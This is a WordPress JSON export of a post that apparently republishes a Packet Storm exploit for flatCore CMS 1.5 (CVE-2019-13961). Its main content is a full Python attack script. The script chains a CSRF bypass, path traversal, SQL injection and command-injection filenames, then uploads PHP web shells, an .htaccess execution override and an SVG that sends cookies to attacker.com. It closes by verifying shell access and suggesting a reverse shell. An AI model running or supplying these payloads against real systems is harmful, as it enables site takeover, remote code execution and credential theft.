{"id":31168,"date":"2025-12-15T11:42:53","date_gmt":"2025-12-15T11:42:53","guid":{"rendered":"http:\/\/localhost\/?p=31168"},"modified":"2025-12-15T11:42:53","modified_gmt":"2025-12-15T11:42:53","slug":"flatcore-15-shell-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=31168","title":{"rendered":"\ud83d\udcc4 flatCore 1.5 Shell Upload_PACKETSTORM:212821"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-15T16:52:43&#8243;,&#8221;description&#8221;:&#8221;flatCore version 1.5 proof of concept remote shell upload exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 flatCore 1.5 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212821&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2019-13961&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : flatCore 1.5 Advanced File Upload Exploit                                                                                   |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/flatCore\/flatCore-CMS\/blob\/main\/acp\/core\/files.upload-script.php                                         |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/190428\/ \\u0026\\tCVE-2019-13961\\n    \\n    [+] Summary :  The upload script contains multiple critical vulnerabilities that can be chained together for complete system compromise. \\n                   The most urgent issues are the CSRF bypass and unrestricted file upload, which allow unauthenticated attackers to upload PHP shells and execute arbitrary code.\\n    \\n    \\t\\t  \\n    [+]  POC : python poc.py\\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import sys\\n    import time\\n    import random\\n    import string\\n    import os\\n    from concurrent.futures import ThreadPoolExecutor\\n    \\n    class FileUploadExploit:\\n        def __init__(self, target_url, session_cookie):\\n            self.target_url = target_url\\n            self.session_cookie = session_cookie\\n            self.headers = {\\n                &#8216;Cookie&#8217;: f&#8217;PHPSESSID={session_cookie}&#8217;,\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;\\n            }\\n            self.successful_payloads = []\\n            \\n        def generate_random_string(self, length=8):\\n            \\&#8221;\\&#8221;\\&#8221;Generate random string for filenames\\&#8221;\\&#8221;\\&#8221;\\n            return &#8221;.join(random.choices(string.ascii_lowercase + string.digits, k=length))\\n        \\n        def test_csrf_bypass(self):\\n            \\&#8221;\\&#8221;\\&#8221;Test CSRF token bypass by omitting token\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n[+] Testing CSRF Token Bypass&#8230;\\&#8221;)\\n            \\n            files = {\\n                &#8216;file&#8217;: (&#8216;test.txt&#8217;, &#8216;CSRF test content&#8217;, &#8216;text\/plain&#8217;)\\n            }\\n            \\n            data = {\\n                &#8216;upload_destination&#8217;: &#8216;images&#8217;,\\n                &#8216;upload_type&#8217;: &#8216;images&#8217;,\\n                &#8216;unchanged&#8217;: &#8216;yes&#8217;\\n                # No csrf_token parameter\\n            }\\n            \\n            try:\\n                response = requests.post(\\n                    self.target_url,\\n                    headers=self.headers,\\n                    files=files,\\n                    data=data,\\n                    timeout=15,\\n                    allow_redirects=False\\n                )\\n                \\n                if response.status_code == 200:\\n                    print(\\&#8221;[\u2713] CSRF bypass successful (no token required)\\&#8221;)\\n                    return True\\n                else:\\n                    print(f\\&#8221;[-] CSRF check may be active: {response.status_code}\\&#8221;)\\n                    return False\\n                    \\n            except Exception as e:\\n                print(f\\&#8221;[-] Error testing CSRF: {e}\\&#8221;)\\n                return False\\n        \\n        def directory_traversal_attack(self):\\n            \\&#8221;\\&#8221;\\&#8221;Test directory traversal in upload_destination parameter\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n[+] Testing Directory Traversal&#8230;\\&#8221;)\\n            \\n            traversal_payloads = [\\n                &#8216;..\/..\/..\/index.php&#8217;,\\n                &#8216;..\/..\/..\/..\/etc\/passwd&#8217;,\\n                &#8216;..\/..\/..\/..\/..\/..\/..\/var\/www\/html&#8217;,\\n                &#8216;..\\\\\\\\..\\\\\\\\..\\\\\\\\windows\\\\\\\\win.ini&#8217;,\\n                &#8216;..\/&#8217; * 20 + &#8216;etc\/passwd&#8217;,\\n                &#8216;images\/..\/..\/..\/..\/tmp&#8217;,\\n                &#8216;\/absolute\/path\/to\/target&#8217;\\n            ]\\n            \\n            vulnerable = False\\n            \\n            for payload in traversal_payloads:\\n                print(f\\&#8221;  Testing: {payload[:50]}&#8230;\\&#8221;)\\n                \\n                files = {\\n                    &#8216;file&#8217;: (&#8216;traversal.txt&#8217;, f&#8217;Traversal test: {payload}&#8217;, &#8216;text\/plain&#8217;)\\n                }\\n                \\n                data = {\\n                    &#8216;upload_destination&#8217;: payload,\\n                    &#8216;upload_type&#8217;: &#8216;files&#8217;,\\n                    &#8216;unchanged&#8217;: &#8216;yes&#8217;,\\n                    &#8216;file_mode&#8217;: &#8216;overwrite&#8217;\\n                }\\n                \\n                try:\\n                    response = requests.post(\\n                        self.target_url,\\n                        headers=self.headers,\\n                        files=files,\\n                        data=data,\\n                        timeout=10\\n                    )\\n                    \\n                    # Check for unusual success\\n                    if response.status_code == 200 and len(response.content) \\u003c 500:\\n                        print(f\\&#8221;[\u2713] Possible traversal: {payload}\\&#8221;)\\n                        vulnerable = True\\n                        \\n                except requests.exceptions.Timeout:\\n                    print(f\\&#8221;  [!] Timeout with payload: {payload}\\&#8221;)\\n                except Exception as e:\\n                    pass\\n            \\n            return vulnerable\\n        \\n        def upload_web_shells(self):\\n            \\&#8221;\\&#8221;\\&#8221;Upload various web shell types with different bypass techniques\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n[+] Uploading Web Shells&#8230;\\&#8221;)\\n            \\n            shells = [\\n                # Basic PHP shell\\n                {\\n                    &#8216;name&#8217;: &#8216;shell.php&#8217;,\\n                    &#8216;content&#8217;: \\&#8221;\\&#8221;\\&#8221;\\u003c?php\\n    if(isset($_GET[&#8216;cmd&#8217;])) {\\n        system($_GET[&#8216;cmd&#8217;]);\\n    }\\n    if(isset($_POST[&#8216;cmd&#8217;])) {\\n        system($_POST[&#8216;cmd&#8217;]);\\n    }\\n    echo \\&#8221;Web Shell Active\\&#8221;;\\n    ?\\u003e\\&#8221;\\&#8221;\\&#8221;,\\n                    &#8216;mime&#8217;: &#8216;text\/php&#8217;\\n                },\\n                \\n                # Double extension\\n                {\\n                    &#8216;name&#8217;: &#8216;shell.php.jpg&#8217;,\\n                    &#8216;content&#8217;: \\&#8221;\\&#8221;\\&#8221;GIF89a\\n    \\u003c?php\\n    if(isset($_REQUEST[&#8216;pass&#8217;])) {\\n        eval($_REQUEST[&#8216;pass&#8217;]);\\n    }\\n    ?\\u003e\\&#8221;\\&#8221;\\&#8221;,\\n                    &#8216;mime&#8217;: &#8216;image\/jpeg&#8217;\\n                },\\n                \\n                # SVG with PHP\\n                {\\n                    &#8216;name&#8217;: &#8216;malicious.svg&#8217;,\\n                    &#8216;content&#8217;: \\&#8221;\\&#8221;\\&#8221;\\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;UTF-8\\&#8221;?\\u003e\\n    \\u003c!DOCTYPE svg PUBLIC \\&#8221;-\/\/W3C\/\/DTD SVG 1.1\/\/EN\\&#8221; \\&#8221;http:\/\/www.w3.org\/Graphics\/SVG\/1.1\/DTD\/svg11.dtd\\&#8221;\\u003e\\n    \\u003csvg version=\\&#8221;1.1\\&#8221; xmlns=\\&#8221;http:\/\/www.w3.org\/2000\/svg\\&#8221;\\u003e\\n    \\u003c!&#8211;\\u003c?php echo shell_exec($_GET[&#8216;c&#8217;]); ?\\u003e&#8211;\\u003e\\n    \\u003crect width=\\&#8221;300\\&#8221; height=\\&#8221;100\\&#8221; style=\\&#8221;fill:rgb(0,0,255);\\&#8221; \/\\u003e\\n    \\u003cscript\\u003edocument.location=&#8217;http:\/\/attacker.com\/steal?c=&#8217;+document.cookie;\\u003c\/script\\u003e\\n    \\u003c\/svg\\u003e\\&#8221;\\&#8221;\\&#8221;,\\n                    &#8216;mime&#8217;: &#8216;image\/svg+xml&#8217;\\n                },\\n                \\n                # .htaccess to allow PHP execution\\n                {\\n                    &#8216;name&#8217;: &#8216;.htaccess&#8217;,\\n                    &#8216;content&#8217;: \\&#8221;\\&#8221;\\&#8221;AddType application\/x-httpd-php .jpg .png .gif\\n    \\u003cFilesMatch \\&#8221;\\\\.(jpg|png|gif)$\\&#8221;\\u003e\\n    SetHandler application\/x-httpd-php\\n    \\u003c\/FilesMatch\\u003e\\&#8221;\\&#8221;\\&#8221;,\\n                    &#8216;mime&#8217;: &#8216;text\/plain&#8217;\\n                },\\n                \\n                # PHP with null bytes (if PHP version \\u003c 5.3.4)\\n                {\\n                    &#8216;name&#8217;: &#8216;shell.php%00.jpg&#8217;,\\n                    &#8216;content&#8217;: &#8216;\\u003c?php phpinfo(); ?\\u003e&#8217;,\\n                    &#8216;mime&#8217;: &#8216;image\/jpeg&#8217;\\n                }\\n            ]\\n            \\n            uploaded = []\\n            \\n            for shell in shells:\\n                print(f\\&#8221;  Attempting: {shell[&#8216;name&#8217;]}\\&#8221;)\\n                \\n                files = {\\n                    &#8216;file&#8217;: (shell[&#8216;name&#8217;], shell[&#8216;content&#8217;], shell[&#8216;mime&#8217;])\\n                }\\n                \\n                # Try different upload parameters\\n                upload_params = [\\n                    {\\n                        &#8216;upload_destination&#8217;: &#8216;images&#8217;,\\n                        &#8216;upload_type&#8217;: &#8216;images&#8217;,\\n                        &#8216;unchanged&#8217;: &#8216;yes&#8217;,\\n                        &#8216;file_mode&#8217;: &#8216;overwrite&#8217;\\n                    },\\n                    {\\n                        &#8216;upload_destination&#8217;: &#8216;files&#8217;,\\n                        &#8216;upload_type&#8217;: &#8216;files&#8217;,\\n                        &#8216;unchanged&#8217;: &#8216;yes&#8217;,\\n                        &#8216;file_mode&#8217;: &#8216;overwrite&#8217;\\n                    }\\n                ]\\n                \\n                for params in upload_params:\\n                    try:\\n                        response = requests.post(\\n                            self.target_url,\\n                            headers=self.headers,\\n                            files=files,\\n                            data=params,\\n                            timeout=15\\n                        )\\n                        \\n                        if response.status_code == 200:\\n                            print(f\\&#8221;[\u2713] Uploaded: {shell[&#8216;name&#8217;]}\\&#8221;)\\n                            uploaded.append({\\n                                &#8216;filename&#8217;: shell[&#8216;name&#8217;],\\n                                &#8216;params&#8217;: params\\n                            })\\n                            break\\n                            \\n                    except Exception as e:\\n                        print(f\\&#8221;  [-] Error: {e}\\&#8221;)\\n            \\n            return uploaded\\n        \\n        def test_sql_injection(self):\\n            \\&#8221;\\&#8221;\\&#8221;Test SQL injection via filename or other parameters\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n[+] Testing SQL Injection&#8230;\\&#8221;)\\n            \\n            sql_payloads = [\\n                # Time-based SQLi\\n                \\&#8221;test&#8217; AND SLEEP(5)&#8211;.jpg\\&#8221;,\\n                \\&#8221;test&#8217; OR BENCHMARK(5000000,MD5(&#8216;test&#8217;))&#8211;.jpg\\&#8221;,\\n                \\n                # Error-based SQLi\\n                \\&#8221;test&#8217; AND ExtractValue(1,CONCAT(0x5c,USER()))&#8211;.jpg\\&#8221;,\\n                \\n                # Union-based (if we can see output)\\n                \\&#8221;test&#8217; UNION SELECT &#8216;\\u003c?php system($_GET[cmd]); ?\\u003e&#8217; INTO OUTFILE &#8216;\/var\/www\/html\/shell.php&#8217;&#8211;.jpg\\&#8221;\\n            ]\\n            \\n            for payload in sql_payloads:\\n                print(f\\&#8221;  Testing: {payload}\\&#8221;)\\n                \\n                files = {\\n                    &#8216;file&#8217;: (payload, &#8216;SQLi test&#8217;, &#8216;image\/jpeg&#8217;)\\n                }\\n                \\n                data = {\\n                    &#8216;upload_destination&#8217;: &#8216;images&#8217;,\\n                    &#8216;upload_type&#8217;: &#8216;images&#8217;,\\n                    &#8216;unchanged&#8217;: &#8216;yes&#8217;\\n                }\\n                \\n                try:\\n                    start_time = time.time()\\n                    response = requests.post(\\n                        self.target_url,\\n                        headers=self.headers,\\n                        files=files,\\n                        data=data,\\n                        timeout=30\\n                    )\\n                    elapsed = time.time() &#8211; start_time\\n                    \\n                    if elapsed \\u003e 5:\\n                        print(f\\&#8221;[\u2713] Time-based SQLi possible: {elapsed:.2f}s delay\\&#8221;)\\n                        return True\\n                        \\n                    if \\&#8221;SQL\\&#8221; in response.text or \\&#8221;syntax\\&#8221; in response.text.lower():\\n                        print(\\&#8221;[\u2713] Error-based SQLi detected\\&#8221;)\\n                        return True\\n                        \\n                except requests.exceptions.Timeout:\\n                    print(\\&#8221;[\u2713] Timeout &#8211; SQL injection successful\\&#8221;)\\n                    return True\\n                except Exception:\\n                    pass\\n            \\n            return False\\n        \\n        def test_path_manipulation(self):\\n            \\&#8221;\\&#8221;\\&#8221;Test path manipulation in filename cleaning function\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n[+] Testing Path Manipulation&#8230;\\&#8221;)\\n            \\n            malicious_filenames = [\\n                \\&#8221;..\/..\/..\/shell.php\\&#8221;,\\n                \\&#8221;&#8230;.php\\&#8221;,  # Becomes .php after cleaning\\n                \\&#8221;shell.php.\\&#8221;,\\n                \\&#8221;shell.php \\&#8221;,\\n                \\&#8221;shell.php%0d%0a.jpg\\&#8221;,\\n                \\&#8221;;ls -la;.jpg\\&#8221;,\\n                \\&#8221;$(whoami).jpg\\&#8221;\\n            ]\\n            \\n            for filename in malicious_filenames:\\n                print(f\\&#8221;  Testing filename: {filename}\\&#8221;)\\n                \\n                files = {\\n                    &#8216;file&#8217;: (filename, &#8216;test&#8217;, &#8216;text\/plain&#8217;)\\n                }\\n                \\n                data = {\\n                    &#8216;upload_destination&#8217;: &#8216;files&#8217;,\\n                    &#8216;upload_type&#8217;: &#8216;files&#8217;,\\n                    &#8216;unchanged&#8217;: &#8216;yes&#8217;\\n                }\\n                \\n                try:\\n                    response = requests.post(\\n                        self.target_url,\\n                        headers=self.headers,\\n                        files=files,\\n                        data=data,\\n                        timeout=10\\n                    )\\n                    \\n                    if response.status_code == 200:\\n                        print(f\\&#8221;[\u2713] Accepted filename: {filename}\\&#8221;)\\n                        \\n                except Exception:\\n                    pass\\n        \\n        def test_file_size_limit_bypass(self):\\n            \\&#8221;\\&#8221;\\&#8221;Test file size limit bypass\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n[+] Testing File Size Limit Bypass&#8230;\\&#8221;)\\n            \\n            # Create a large file\\n            large_content = \\&#8221;A\\&#8221; * (1024 * 1024 * 100)  # 100MB\\n            \\n            files = {\\n                &#8216;file&#8217;: (&#8216;large_file.txt&#8217;, large_content, &#8216;text\/plain&#8217;)\\n            }\\n            \\n            data = {\\n                &#8216;upload_destination&#8217;: &#8216;files&#8217;,\\n                &#8216;upload_type&#8217;: &#8216;files&#8217;,\\n                &#8216;unchanged&#8217;: &#8216;yes&#8217;,\\n                &#8216;fz&#8217;: &#8216;999999999&#8217;  # Set huge file size limit\\n            }\\n            \\n            try:\\n                print(\\&#8221;  Uploading 100MB file&#8230;\\&#8221;)\\n                response = requests.post(\\n                    self.target_url,\\n                    headers=self.headers,\\n                    files=files,\\n                    data=data,\\n                    timeout=60\\n                )\\n                \\n                if response.status_code == 200:\\n                    print(\\&#8221;[\u2713] Large file upload possible\\&#8221;)\\n                    return True\\n                    \\n            except Exception as e:\\n                print(f\\&#8221;  [-] Error: {e}\\&#8221;)\\n            \\n            return False\\n        \\n        def brute_force_upload_locations(self):\\n            \\&#8221;\\&#8221;\\&#8221;Brute force potential upload locations\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n[+] Brute Forcing Upload Locations&#8230;\\&#8221;)\\n            \\n            common_locations = [\\n                &#8216;images&#8217;,\\n                &#8216;files&#8217;,\\n                &#8216;uploads&#8217;,\\n                &#8216;upload&#8217;,\\n                &#8216;media&#8217;,\\n                &#8216;content&#8217;,\\n                &#8216;img&#8217;,\\n                &#8216;pictures&#8217;,\\n                &#8216;docs&#8217;,\\n                &#8216;assets&#8217;,\\n                &#8216;tmp&#8217;,\\n                &#8216;temp&#8217;,\\n                &#8216;cache&#8217;\\n            ]\\n            \\n            found_locations = []\\n            \\n            for location in common_locations:\\n                files = {\\n                    &#8216;file&#8217;: (&#8216;test.txt&#8217;, &#8216;test&#8217;, &#8216;text\/plain&#8217;)\\n                }\\n                \\n                data = {\\n                    &#8216;upload_destination&#8217;: location,\\n                    &#8216;upload_type&#8217;: &#8216;files&#8217;,\\n                    &#8216;unchanged&#8217;: &#8216;yes&#8217;\\n                }\\n                \\n                try:\\n                    response = requests.post(\\n                        self.target_url,\\n                        headers=self.headers,\\n                        files=files,\\n                        data=data,\\n                        timeout=10\\n                    )\\n                    \\n                    if response.status_code == 200:\\n                        print(f\\&#8221;[\u2713] Found location: {location}\\&#8221;)\\n                        found_locations.append(location)\\n                        \\n                except Exception:\\n                    pass\\n            \\n            return found_locations\\n        \\n        def verify_shell_access(self, uploaded_shells, base_url):\\n            \\&#8221;\\&#8221;\\&#8221;Verify if uploaded shells are accessible\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n[+] Verifying Shell Access&#8230;\\&#8221;)\\n            \\n            accessible = []\\n            \\n            # Try common paths\\n            test_paths = [\\n                f\\&#8221;{base_url}\/content\/images\/\\&#8221;,\\n                f\\&#8221;{base_url}\/content\/files\/\\&#8221;,\\n                f\\&#8221;{base_url}\/images\/\\&#8221;,\\n                f\\&#8221;{base_url}\/files\/\\&#8221;,\\n                f\\&#8221;{base_url}\/uploads\/\\&#8221;,\\n                f\\&#8221;{base_url}\/..\/content\/images\/\\&#8221;\\n            ]\\n            \\n            for shell in uploaded_shells:\\n                for path in test_paths:\\n                    shell_url = f\\&#8221;{path}{shell[&#8216;filename&#8217;]}\\&#8221;\\n                    \\n                    try:\\n                        # Test PHP shell\\n                        if shell[&#8216;filename&#8217;].endswith(&#8216;.php&#8217;):\\n                            test_url = f\\&#8221;{shell_url}?cmd=echo+SUCCESS\\&#8221;\\n                            response = requests.get(test_url, timeout=10)\\n                            \\n                            if \\&#8221;SUCCESS\\&#8221; in response.text or \\&#8221;Web Shell Active\\&#8221; in response.text:\\n                                print(f\\&#8221;[\u2713] Shell accessible: {shell_url}\\&#8221;)\\n                                accessible.append(shell_url)\\n                                break\\n                        \\n                        # Test file existence\\n                        else:\\n                            response = requests.head(shell_url, timeout=10)\\n                            if response.status_code == 200:\\n                                print(f\\&#8221;[\u2713] File accessible: {shell_url}\\&#8221;)\\n                                accessible.append(shell_url)\\n                                break\\n                                \\n                    except Exception:\\n                        pass\\n            \\n            return accessible\\n        \\n        def run_full_exploit(self):\\n            \\&#8221;\\&#8221;\\&#8221;Run all exploitation techniques\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;[*] Starting comprehensive attack on: {self.target_url}\\&#8221;)\\n            print(f\\&#8221;[*] Using session cookie: {self.session_cookie[:20]}&#8230;\\\\n\\&#8221;)\\n            \\n            results = {\\n                &#8216;csrf_bypass&#8217;: False,\\n                &#8216;directory_traversal&#8217;: False,\\n                &#8216;sql_injection&#8217;: False,\\n                &#8216;file_size_bypass&#8217;: False,\\n                &#8216;uploaded_shells&#8217;: [],\\n                &#8216;found_locations&#8217;: [],\\n                &#8216;accessible_shells&#8217;: []\\n            }\\n            \\n            # Run tests\\n            results[&#8216;csrf_bypass&#8217;] = self.test_csrf_bypass()\\n            results[&#8216;directory_traversal&#8217;] = self.directory_traversal_attack()\\n            results[&#8216;sql_injection&#8217;] = self.test_sql_injection()\\n            results[&#8216;file_size_bypass&#8217;] = self.test_file_size_limit_bypass()\\n            results[&#8216;found_locations&#8217;] = self.brute_force_upload_locations()\\n            self.test_path_manipulation()\\n            \\n            # Upload shells\\n            results[&#8216;uploaded_shells&#8217;] = self.upload_web_shells()\\n            \\n            # Extract base URL for verification\\n            base_url = self.target_url[:self.target_url.rfind(&#8216;\/&#8217;)]\\n            base_url = base_url[:base_url.rfind(&#8216;\/&#8217;)]\\n            \\n            # Verify access\\n            results[&#8216;accessible_shells&#8217;] = self.verify_shell_access(\\n                results[&#8216;uploaded_shells&#8217;], \\n                base_url\\n            )\\n            \\n            # Print summary\\n            print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*60)\\n            print(\\&#8221;[+] EXPLOITATION SUMMARY\\&#8221;)\\n            print(\\&#8221;=\\&#8221;*60)\\n            \\n            for key, value in results.items():\\n                if isinstance(value, list):\\n                    print(f\\&#8221;{key.replace(&#8216;_&#8217;, &#8216; &#8216;).title()}: {len(value)} found\\&#8221;)\\n                    if value and key in [&#8216;uploaded_shells&#8217;, &#8216;accessible_shells&#8217;]:\\n                        for item in value[:3]:  # Show first 3\\n                            print(f\\&#8221;  &#8211; {item}\\&#8221;)\\n                else:\\n                    status = \\&#8221;\u2713\\&#8221; if value else \\&#8221;\u2717\\&#8221;\\n                    print(f\\&#8221;{status} {key.replace(&#8216;_&#8217;, &#8216; &#8216;).title()}\\&#8221;)\\n            \\n            print(\\&#8221;\\\\n[+] Recommended next steps:\\&#8221;)\\n            if results[&#8216;accessible_shells&#8217;]:\\n                print(\\&#8221;  1. Execute commands via: shell.php?cmd=whoami\\&#8221;)\\n                print(\\&#8221;  2. Upload more advanced reverse shell\\&#8221;)\\n                print(\\&#8221;  3. Explore file system: ?cmd=ls+-la\\&#8221;)\\n            else:\\n                print(\\&#8221;  1. Try different upload parameters\\&#8221;)\\n                print(\\&#8221;  2. Check server logs for errors\\&#8221;)\\n                print(\\&#8221;  3. Use directory traversal to find upload location\\&#8221;)\\n            \\n            return results\\n    \\n    def main():\\n        if len(sys.argv) \\u003c 3:\\n            print(\\&#8221;Usage: python exploit.py \\u003ctarget_url\\u003e \\u003csession_cookie\\u003e\\&#8221;)\\n            print(\\&#8221;Example: python exploit.py http:\/\/target.com\/admin\/upload.php abc123session456\\&#8221;)\\n            sys.exit(1)\\n        \\n        target_url = sys.argv[1]\\n        session_cookie = sys.argv[2]\\n        \\n        exploit = FileUploadExploit(target_url, session_cookie)\\n        results = exploit.run_full_exploit()\\n        \\n        # Save results to file\\n        with open(&#8216;exploit_results.txt&#8217;, &#8216;w&#8217;) as f:\\n            import json\\n            f.write(json.dumps(results, indent=2))\\n        \\n        print(\\&#8221;\\\\n[*] Results saved to exploit_results.txt\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212821&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;3.0&#8243;,&#8221;vectorString&#8221;:&#8221;CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;baseScore&#8221;:8.8,&#8221;baseSeverity&#8221;:&#8221;HIGH&#8221;,&#8221;attackVector&#8221;:&#8221;NETWORK&#8221;,&#8221;attackComplexity&#8221;:&#8221;LOW&#8221;,&#8221;privilegesRequired&#8221;:&#8221;NONE&#8221;,&#8221;userInteraction&#8221;:&#8221;REQUIRED&#8221;,&#8221;scope&#8221;:&#8221;UNCHANGED&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;HIGH&#8221;,&#8221;integrityImpact&#8221;:&#8221;HIGH&#8221;,&#8221;availabilityImpact&#8221;:&#8221;HIGH&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212821\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-15T16:52:43&#8243;,&#8221;description&#8221;:&#8221;flatCore version 1.5 proof of concept remote shell upload exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 flatCore 1.5 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212821&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2019-13961&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n | # Title : flatCore 1.5 Advanced File Upload Exploit |\\n&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-31168","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 flatCore 1.5 Shell Upload_PACKETSTORM:212821 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=31168\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 flatCore 1.5 Shell Upload_PACKETSTORM:212821 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-15T16:52:43&#8243;,&#8221;description&#8221;:&#8221;flatCore version 1.5 proof of concept remote shell upload exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 flatCore 1.5 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212821&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2019-13961&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : flatCore 1.5 Advanced File Upload Exploit |n...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=31168\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-15T11:42:53+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" 